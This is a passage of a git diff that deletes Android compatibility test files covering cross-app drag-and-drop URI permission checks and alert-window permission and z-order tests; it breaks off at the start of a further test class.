diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java
deleted file mode 100644
index 06a94aa..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndsourceapp;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.content.UriMatcher;
-import android.database.Cursor;
-import android.net.Uri;
-
-public class DragSourceContentProvider extends ContentProvider {
-
-    public static final String AUTHORITY = "android.wm.cts.dndsource.contentprovider";
-
-    private static final UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
-
-    private static final int URI_DATA = 1;
-
-    static {
-        sMatcher.addURI(AUTHORITY, "data/#", URI_DATA);
-    }
-
-    @Override
-    public boolean onCreate() {
-        return false;
-    }
-
-    @Override
-    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-                        String sortOrder) {
-        switch (sMatcher.match(uri)) {
-            case URI_DATA:
-                return new DragSourceCursor(uri.getLastPathSegment());
-        }
-        return null;
-    }
-
-    @Override
-    public String getType(Uri uri) {
-        return null;
-    }
-
-    @Override
-    public Uri insert(Uri uri, ContentValues values) {
-        return null;
-    }
-
-    @Override
-    public int delete(Uri uri, String selection, String[] selectionArgs) {
-        return 0;
-    }
-
-    @Override
-    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
-        return 0;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java
deleted file mode 100644
index c54df65..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndsourceapp;
-
-import android.database.AbstractCursor;
-
-public class DragSourceCursor extends AbstractCursor {
-    private static final String COLUMN_KEY = "key";
-
-    private final String mValue;
-
-    public DragSourceCursor(String value) {
-        mValue = value;
-    }
-
-    @Override
-    public int getCount() {
-        return 1;
-    }
-
-    @Override
-    public String[] getColumnNames() {
-        return new String[] {COLUMN_KEY};
-    }
-
-    @Override
-    public String getString(int column) {
-        if (getPosition() != 0) {
-            throw new IllegalArgumentException("Incorrect position: " + getPosition());
-        }
-        if (column != 0) {
-            throw new IllegalArgumentException("Incorrect column: " + column);
-        }
-        return mValue;
-    }
-
-    @Override
-    public short getShort(int column) {
-        return 0;
-    }
-
-    @Override
-    public int getInt(int column) {
-        return 0;
-    }
-
-    @Override
-    public long getLong(int column) {
-        return 0;
-    }
-
-    @Override
-    public float getFloat(int column) {
-        return 0;
-    }
-
-    @Override
-    public double getDouble(int column) {
-        return 0;
-    }
-
-    @Override
-    public boolean isNull(int column) {
-        return false;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
deleted file mode 100644
index cb43a8b..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDragAndDropTargetApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml
deleted file mode 100644
index ed7b9c2..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.wm.cts.dndtargetapp">
-    <application android:label="CtsDnDTarget">
-        <activity android:name="android.wm.cts.dndtargetapp.DropTarget">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
deleted file mode 100644
index 8892c6f..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
+++ /dev/null
@@ -1,308 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndtargetapp;
-
-import android.app.Activity;
-import android.content.ClipData;
-import android.content.ClipDescription;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.PersistableBundle;
-import android.util.Log;
-import android.view.DragAndDropPermissions;
-import android.view.DragEvent;
-import android.view.View;
-import android.widget.TextView;
-
-public class DropTarget extends Activity {
-    public static final String LOG_TAG = "DropTarget";
-
-    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
-    private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
-    private static final String RESULT_KEY_EXTRAS = "EXTRAS";
-    private static final String RESULT_KEY_DROP_RESULT = "DROP";
-    private static final String RESULT_KEY_DETAILS = "DETAILS";
-    private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
-    private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
-    private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
-    private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
-    private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
-
-    public static final String RESULT_OK = "OK";
-    public static final String RESULT_EXCEPTION = "Exception";
-    public static final String RESULT_MISSING = "MISSING";
-    public static final String RESULT_LEAKING = "LEAKING";
-
-    protected static final String MAGIC_VALUE = "42";
-
-    private TextView mTextView;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        View view = getLayoutInflater().inflate(R.layout.target_activity, null);
-        setContentView(view);
-
-        setUpDropTarget("request_none", new OnDragUriReadListener(false));
-        setUpDropTarget("request_read", new OnDragUriReadListener());
-        setUpDropTarget("request_write", new OnDragUriWriteListener());
-        setUpDropTarget("request_read_nested", new OnDragUriReadPrefixListener());
-        setUpDropTarget("request_take_persistable", new OnDragUriTakePersistableListener());
-    }
-
-    private void setUpDropTarget(String mode, OnDragUriListener listener) {
-        if (!mode.equals(getIntent().getStringExtra("mode"))) {
-            return;
-        }
-        mTextView = (TextView)findViewById(R.id.drag_target);
-        mTextView.setText(mode);
-        mTextView.setOnDragListener(listener);
-    }
-
-    private String checkExtraValue(DragEvent event) {
-        PersistableBundle extras = event.getClipDescription().getExtras();
-        if (extras == null) {
-            return "Null";
-        }
-
-        final String value = extras.getString("extraKey");
-        if ("extraValue".equals(value)) {
-            return RESULT_OK;
-        }
-        return value;
-    }
-
-    private void logResult(String key, String value) {
-        Log.i(LOG_TAG, key + "=" + value);
-        mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
-    }
-
-    private abstract class OnDragUriListener implements View.OnDragListener {
-        private final boolean requestPermissions;
-
-        public OnDragUriListener(boolean requestPermissions) {
-            this.requestPermissions = requestPermissions;
-        }
-
-        @Override
-        public boolean onDrag(View v, DragEvent event) {
-            checkDragEvent(event);
-
-            switch (event.getAction()) {
-                case DragEvent.ACTION_DRAG_STARTED:
-                    logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
-                    logResult(RESULT_KEY_EXTRAS, checkExtraValue(event));
-                    return true;
-
-                case DragEvent.ACTION_DRAG_ENTERED:
-                    return true;
-
-                case DragEvent.ACTION_DRAG_LOCATION:
-                    return true;
-
-                case DragEvent.ACTION_DRAG_EXITED:
-                    return true;
-
-                case DragEvent.ACTION_DROP:
-                    // Try accessing the Uri without the permissions grant.
-                    accessContent(event, RESULT_KEY_ACCESS_BEFORE, false);
-
-                    // Try accessing the Uri with the permission grant (if required);
-                    accessContent(event, RESULT_KEY_DROP_RESULT, requestPermissions);
-
-                    // Try accessing the Uri after the permissions have been released.
-                    accessContent(event, RESULT_KEY_ACCESS_AFTER, false);
-                    return true;
-
-                case DragEvent.ACTION_DRAG_ENDED:
-                    logResult(RESULT_KEY_DRAG_ENDED, RESULT_OK);
-                    return true;
-
-                default:
-                    return false;
-            }
-        }
-
-        private void accessContent(DragEvent event, String resultKey, boolean requestPermissions) {
-            String result;
-            try {
-                result = processDrop(event, requestPermissions);
-            } catch (SecurityException e) {
-                result = RESULT_EXCEPTION;
-                if (resultKey.equals(RESULT_KEY_DROP_RESULT)) {
-                    logResult(RESULT_KEY_DETAILS, e.getMessage());
-                }
-            }
-            logResult(resultKey, result);
-        }
-
-        private String processDrop(DragEvent event, boolean requestPermissions) {
-            final ClipData clipData = event.getClipData();
-            if (clipData == null) {
-                return "Null ClipData";
-            }
-            if (clipData.getItemCount() == 0) {
-                return "Empty ClipData";
-            }
-            ClipData.Item item = clipData.getItemAt(0);
-            if (item == null) {
-                return "Null ClipData.Item";
-            }
-            Uri uri = item.getUri();
-            if (uri == null) {
-                return "Null Uri";
-            }
-
-            DragAndDropPermissions permissions = null;
-            if (requestPermissions) {
-                permissions = requestDragAndDropPermissions(event);
-                if (permissions == null) {
-                    return "Null DragAndDropPermissions";
-                }
-            }
-
-            try {
-                return processUri(uri);
-            } finally {
-                if (permissions != null) {
-                    permissions.release();
-                }
-            }
-        }
-
-        abstract protected String processUri(Uri uri);
-    }
-
-    private void checkDragEvent(DragEvent event) {
-        final int action = event.getAction();
-
-        // ClipData should be available for ACTION_DROP only.
-        final ClipData clipData = event.getClipData();
-        if (action == DragEvent.ACTION_DROP) {
-            if (clipData == null) {
-                logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
-            }
-        } else {
-            if (clipData != null) {
-                logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_LEAKING + action);
-            }
-        }
-
-        // ClipDescription should be always available except for ACTION_DRAG_ENDED.
-        final ClipDescription clipDescription = event.getClipDescription();
-        if (action != DragEvent.ACTION_DRAG_ENDED) {
-            if (clipDescription == null) {
-                logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING + action);
-            }
-        } else {
-            if (clipDescription != null) {
-                logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_LEAKING);
-            }
-        }
-
-        // Local state should be always null for cross-app drags.
-        final Object localState = event.getLocalState();
-        if (localState != null) {
-            logResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_LEAKING + action);
-        }
-    }
-
-    private class OnDragUriReadListener extends OnDragUriListener {
-        OnDragUriReadListener(boolean requestPermissions) {
-            super(requestPermissions);
-        }
-
-        OnDragUriReadListener() {
-            super(true);
-        }
-
-        protected String processUri(Uri uri) {
-            return checkQueryResult(uri, MAGIC_VALUE);
-        }
-
-        protected String checkQueryResult(Uri uri, String expectedValue) {
-            Cursor cursor = null;
-            try {
-                cursor = getContentResolver().query(uri, null, null, null, null);
-                if (cursor == null) {
-                    return "Null Cursor";
-                }
-                cursor.moveToPosition(0);
-                String value = cursor.getString(0);
-                if (!expectedValue.equals(value)) {
-                    return "Wrong value: " + value;
-                }
-                return RESULT_OK;
-            } finally {
-                if (cursor != null) {
-                    cursor.close();
-                }
-            }
-        }
-    }
-
-    private class OnDragUriWriteListener extends OnDragUriListener {
-        OnDragUriWriteListener() {
-            super(true);
-        }
-
-        protected String processUri(Uri uri) {
-            ContentValues values = new ContentValues();
-            values.put("key", 100);
-            getContentResolver().update(uri, values, null, null);
-            return RESULT_OK;
-        }
-    }
-
-    private class OnDragUriReadPrefixListener extends OnDragUriReadListener {
-        @Override
-        protected String processUri(Uri uri) {
-            final String result1 = queryPrefixed(uri, "1");
-            if (!result1.equals(RESULT_OK)) {
-                return result1;
-            }
-            final String result2 = queryPrefixed(uri, "2");
-            if (!result2.equals(RESULT_OK)) {
-                return result2;
-            }
-            return queryPrefixed(uri, "3");
-        }
-
-        private String queryPrefixed(Uri uri, String selector) {
-            final Uri prefixedUri = Uri.parse(uri.toString() + "/" + selector);
-            return checkQueryResult(prefixedUri, selector);
-        }
-    }
-
-    private class OnDragUriTakePersistableListener extends OnDragUriListener {
-        OnDragUriTakePersistableListener() {
-            super(true);
-        }
-
-        @Override
-        protected String processUri(Uri uri) {
-            getContentResolver().takePersistableUriPermission(
-                    uri, View.DRAG_FLAG_GLOBAL_URI_READ);
-            getContentResolver().releasePersistableUriPermission(
-                    uri, View.DRAG_FLAG_GLOBAL_URI_READ);
-            return RESULT_OK;
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
deleted file mode 100644
index a33e1bc..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := 23
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDragAndDropTargetAppSdk23
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
deleted file mode 100644
index ea636a8..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.wm.cts.dndtargetappsdk23">
-    <application android:label="CtsDnDTarget">
-        <activity android:name="android.wm.cts.dndtargetappsdk23.DropTarget">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java
deleted file mode 100644
index 2cb7779..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndtargetappsdk23;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.DragEvent;
-import android.view.View;
-import android.widget.TextView;
-
-/**
- * This application is compiled against SDK 23 and used to verify that apps targeting SDK 23 and
- * below do not receive global drags.
- */
-public class DropTarget extends Activity {
-    public static final String LOG_TAG = "DropTarget";
-
-    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
-    private static final String RESULT_KEY_DROP_RESULT = "DROP";
-
-    public static final String RESULT_OK = "OK";
-
-    private TextView mTextView;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        View view = getLayoutInflater().inflate(R.layout.target_activity, null);
-        setContentView(view);
-
-        mTextView = (TextView) findViewById(R.id.drag_target);
-        mTextView.setOnDragListener(new OnDragListener());
-    }
-
-    private void logResult(String key, String value) {
-        String result = key + "=" + value;
-        Log.i(LOG_TAG, result);
-        mTextView.setText(result);
-    }
-
-    private class OnDragListener implements View.OnDragListener {
-        @Override
-        public boolean onDrag(View v, DragEvent event) {
-            switch (event.getAction()) {
-                case DragEvent.ACTION_DRAG_STARTED:
-                    logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
-                    return true;
-
-                case DragEvent.ACTION_DRAG_ENTERED:
-                    return true;
-
-                case DragEvent.ACTION_DRAG_LOCATION:
-                    return true;
-
-                case DragEvent.ACTION_DRAG_EXITED:
-                    return true;
-
-                case DragEvent.ACTION_DROP:
-                    logResult(RESULT_KEY_DROP_RESULT, RESULT_OK);
-                    return true;
-
-                case DragEvent.ACTION_DRAG_ENDED:
-                    return true;
-
-                default:
-                    return false;
-            }
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java
deleted file mode 100644
index bfed6d5..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java
+++ /dev/null
@@ -1,168 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.platform.test.annotations.Presubmit;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsWindowManagerHostTestCases android.server.cts.AlertWindowsTests
- */
-@Presubmit
-public class AlertWindowsTests extends ActivityManagerTestBase {
-
-    private static final String PACKAGE_NAME = "android.server.alertwindowapp";
-    private static final String ACTIVITY_NAME = "AlertWindowTestActivity";
-    private static final String SDK_25_PACKAGE_NAME = "android.server.alertwindowappsdk25";
-    private static final String SDK_25_ACTIVITY_NAME = "AlertWindowTestActivitySdk25";
-
-    // From WindowManager.java
-    private static final int TYPE_BASE_APPLICATION      = 1;
-    private static final int FIRST_SYSTEM_WINDOW        = 2000;
-
-    private static final int TYPE_PHONE                 = FIRST_SYSTEM_WINDOW + 2;
-    private static final int TYPE_SYSTEM_ALERT          = FIRST_SYSTEM_WINDOW + 3;
-    private static final int TYPE_SYSTEM_OVERLAY        = FIRST_SYSTEM_WINDOW + 6;
-    private static final int TYPE_PRIORITY_PHONE        = FIRST_SYSTEM_WINDOW + 7;
-    private static final int TYPE_SYSTEM_ERROR          = FIRST_SYSTEM_WINDOW + 10;
-    private static final int TYPE_APPLICATION_OVERLAY   = FIRST_SYSTEM_WINDOW + 38;
-
-    private static final int TYPE_STATUS_BAR            = FIRST_SYSTEM_WINDOW;
-    private static final int TYPE_INPUT_METHOD          = FIRST_SYSTEM_WINDOW + 11;
-    private static final int TYPE_NAVIGATION_BAR        = FIRST_SYSTEM_WINDOW + 19;
-
-    private final List<Integer> mAlertWindowTypes = Arrays.asList(
-            TYPE_PHONE,
-            TYPE_PRIORITY_PHONE,
-            TYPE_SYSTEM_ALERT,
-            TYPE_SYSTEM_ERROR,
-            TYPE_SYSTEM_OVERLAY,
-            TYPE_APPLICATION_OVERLAY);
-    private final List<Integer> mSystemWindowTypes = Arrays.asList(
-            TYPE_STATUS_BAR,
-            TYPE_INPUT_METHOD,
-            TYPE_NAVIGATION_BAR);
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        try {
-            setAlertWindowPermission(PACKAGE_NAME, false);
-            setAlertWindowPermission(SDK_25_PACKAGE_NAME, false);
-            executeShellCommand("am force-stop " + PACKAGE_NAME);
-            executeShellCommand("am force-stop " + SDK_25_PACKAGE_NAME);
-        } catch (DeviceNotAvailableException e) {
-        }
-    }
-
-    public void testAlertWindowAllowed() throws Exception {
-        runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, true /* hasAlertWindowPermission */,
-                true /* atLeastO */);
-    }
-
-    public void testAlertWindowDisallowed() throws Exception {
-        runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, false /* hasAlertWindowPermission */,
-                true /* atLeastO */);
-    }
-
-    public void testAlertWindowAllowedSdk25() throws Exception {
-        runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
-                true /* hasAlertWindowPermission */, false /* atLeastO */);
-    }
-
-    public void testAlertWindowDisallowedSdk25() throws Exception {
-        runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
-                false /* hasAlertWindowPermission */, false /* atLeastO */);
-    }
-
-    private void runAlertWindowTest(String packageName, String activityName,
-            boolean hasAlertWindowPermission, boolean atLeastO) throws Exception {
-        setComponentName(packageName);
-        setAlertWindowPermission(packageName, hasAlertWindowPermission);
-
-        executeShellCommand(getAmStartCmd(activityName));
-        mAmWmState.computeState(mDevice, new String[] { activityName });
-        mAmWmState.assertVisibility(activityName, true);
-
-        assertAlertWindows(packageName, hasAlertWindowPermission, atLeastO);
-    }
-
-    private void assertAlertWindows(String packageName, boolean hasAlertWindowPermission,
-            boolean atLeastO) {
-        final WindowManagerState wMState = mAmWmState.getWmState();
-
-        final ArrayList<WindowManagerState.WindowState> alertWindows = new ArrayList();
-        wMState.getWindowsByPackageName(packageName, mAlertWindowTypes, alertWindows);
-
-        if (!hasAlertWindowPermission) {
-            assertTrue("Should be empty alertWindows=" + alertWindows, alertWindows.isEmpty());
-            return;
-        }
-
-        if (atLeastO) {
-            // Assert that only TYPE_APPLICATION_OVERLAY was created.
-            for (WindowManagerState.WindowState win : alertWindows) {
-                assertTrue("Can't create win=" + win + " on SDK O or greater",
-                        win.getType() == TYPE_APPLICATION_OVERLAY);
-            }
-        }
-
-        final WindowManagerState.WindowState mainAppWindow =
-                wMState.getWindowByPackageName(packageName, TYPE_BASE_APPLICATION);
-
-        assertNotNull(mainAppWindow);
-
-        wMState.sortWindowsByLayer(alertWindows);
-        final WindowManagerState.WindowState lowestAlertWindow = alertWindows.get(0);
-        final WindowManagerState.WindowState highestAlertWindow =
-                alertWindows.get(alertWindows.size() - 1);
-
-        // Assert that the alert windows have higher z-order than the main app window
-        assertTrue("lowestAlertWindow=" + lowestAlertWindow + " less than mainAppWindow="
-                        + mainAppWindow, lowestAlertWindow.getLayer() > mainAppWindow.getLayer());
-
-        // Assert that legacy alert windows have a lower z-order than the new alert window layer.
-        final WindowManagerState.WindowState appOverlayWindow =
-                wMState.getWindowByPackageName(packageName, TYPE_APPLICATION_OVERLAY);
-        if (appOverlayWindow != null && highestAlertWindow != appOverlayWindow) {
-            assertTrue("highestAlertWindow=" + highestAlertWindow
-                    + " greater than appOverlayWindow=" + appOverlayWindow,
-                    highestAlertWindow.getLayer() < appOverlayWindow.getLayer());
-        }
-
-        // Assert that alert windows are below key system windows.
-        final ArrayList<WindowManagerState.WindowState> systemWindows = new ArrayList();
-        wMState.getWindowsByPackageName(packageName, mSystemWindowTypes, systemWindows);
-        if (!systemWindows.isEmpty()) {
-            wMState.sortWindowsByLayer(systemWindows);
-            final WindowManagerState.WindowState lowestSystemWindow = alertWindows.get(0);
-            assertTrue("highestAlertWindow=" + highestAlertWindow
-                    + " greater than lowestSystemWindow=" + lowestSystemWindow,
-                    highestAlertWindow.getLayer() < lowestSystemWindow.getLayer());
-        }
-    }
-
-    private void setAlertWindowPermission(String packageName, boolean allow) throws Exception {
-        executeShellCommand("appops set " + packageName + " android:system_alert_window "
-                + (allow ? "allow" : "deny"));
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java
deleted file mode 100644
index 218fcfe..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java
+++ /dev/null
@@ -1,154 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import static android.server.cts.StateLogger.logE;
-
-import java.util.List;
-import java.util.ArrayList;
-import java.awt.Rectangle;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import android.server.cts.ActivityManagerTestBase;
-import android.server.cts.WindowManagerState.WindowState;
-
-public class ChildMovementTests extends ParentChildTestBase {
